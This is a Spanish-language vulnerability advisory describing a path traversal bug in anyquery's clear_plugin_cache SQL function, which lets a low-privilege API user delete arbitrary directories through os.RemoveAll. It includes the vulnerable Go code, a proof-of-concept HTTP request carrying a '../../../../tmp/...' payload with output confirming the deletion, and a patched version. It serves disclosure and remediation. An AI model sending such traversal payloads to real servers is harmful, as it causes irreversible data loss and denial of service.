Resumen
La función SQL escalar clear_plugin_cache(plugin) en namespace/other_functions.go pasa el argumento plugin proporcionado por el usuario directamente a path.Join y luego a os.RemoveAll, con solo una verificación de cadena vacía como protección. Debido a que path.Join resuelve silenciosamente los segmentos .., un portador de token con bajos privilegios puede enviar SELECT clear_plugin_cache('../../../../tmp/target') al endpoint HTTP /v1/query y eliminar cualquier directorio accesible por el proceso del servidor. En el escenario verificado, un directorio fuera de $XDG_CACHE_HOME/anyquery/plugins/ fue eliminado exitosamente, confirmando la explotación completa de path traversal.
Código Afectado
namespace/other_functions.go:46: pathlib.Join resuelve segmentos .. en el plugin controlado por el atacante, produciendo una ruta fuera de la raíz del cache.
namespace/other_functions.go:53: os.RemoveAll elimina incondicionalmente la ruta atravesada.
func clear_plugin_cache(plugin string) string {
pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)
if plugin == "" {
return "The plugin name is empty"
}
// Remove the directory
err := os.RemoveAll(pathToRemove)
if err != nil {
return err.Error()
}
return ""
}
Flujo de ejecución: HTTP JSON body.Query → executeQueryLLM (controller/llm.go:420-426) → shell.Run → SQLite clear_plugin_cache(plugin) → pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) en other_functions.go:46 → os.RemoveAll en other_functions.go:53
Prueba de Concepto
Prerrequisitos:
- Docker instalado
- Python 3 con paquete
requests(pip install requests)
Paso 1: Construir e iniciar el servicio vulnerable:
docker build -f Dockerfile -t anyquery-vuln002 .
docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002
Paso 2: Ejecutar el script PoC (terminal separada):
python3 poc.py
Solicitud HTTP:
POST /execute-query HTTP/1.1
Host: 127.0.0.1:8070
Content-Type: application/json
{"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"}
Salida esperada:
[1] Creating sentinel directory /tmp/poc_sentinel inside container...
Sentinel created: /tmp/poc_sentinel
[2] Confirming server is reachable...
GET /list-tables → HTTP 200 OK
[3] Sending path-traversal payload via POST /execute-query...
HTTP 200
Body: +----------------------------------------------------+
| clear_plugin_cache('../../../../tmp/poc_sentinel') |
+----------------------------------------------------+
| |
+----------------------------------------------------+
1 results
[4] Checking whether sentinel was deleted inside container...
Sentinel GONE: /tmp/poc_sentinel deleted outside cache root.
RESULT: PASS: clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)
Impacto
Un usuario de API autenticado con bajos privilegios puede eliminar cualquier directorio accesible al proceso del servidor anyquery proporcionando un nombre de plugin que atraviese rutas con .. a clear_plugin_cache. El impacto verificado es la eliminación permanente de directorios arbitrarios fuera del límite previsto del cache de plugins ($XDG_CACHE_HOME/anyquery/plugins/). En un despliegue realista, un atacante podría dirigirse a directorios de configuración, datos de aplicación o el directorio home del usuario, causando pérdida irreversible de datos y denegación de servicio. No hay impacto en la confidencialidad ya que la función solo elimina y no lee datos.
Remediación
En namespace/other_functions.go, resolver la ruta completa y confirmar que comparte el prefijo esperado de la raíz del cache antes de llamar a os.RemoveAll:
func clear_plugin_cache(plugin string) string {
if plugin == "" {
return "The plugin name is empty"
}
cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins")
pathToRemove := pathlib.Join(cacheRoot, plugin)
rel, err := filepath.Rel(cacheRoot, pathToRemove)
if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
return "Invalid plugin name"
}
if err := os.RemoveAll(pathToRemove); err != nil {
return err.Error()
}
return ""
}
Como medida de defensa en profundidad, también rechazar valores de plugin que contengan /, \, o un . inicial a nivel de entrada antes de la llamada path.Join, para que las secuencias de traversal sean bloqueadas en la primera oportunidad.
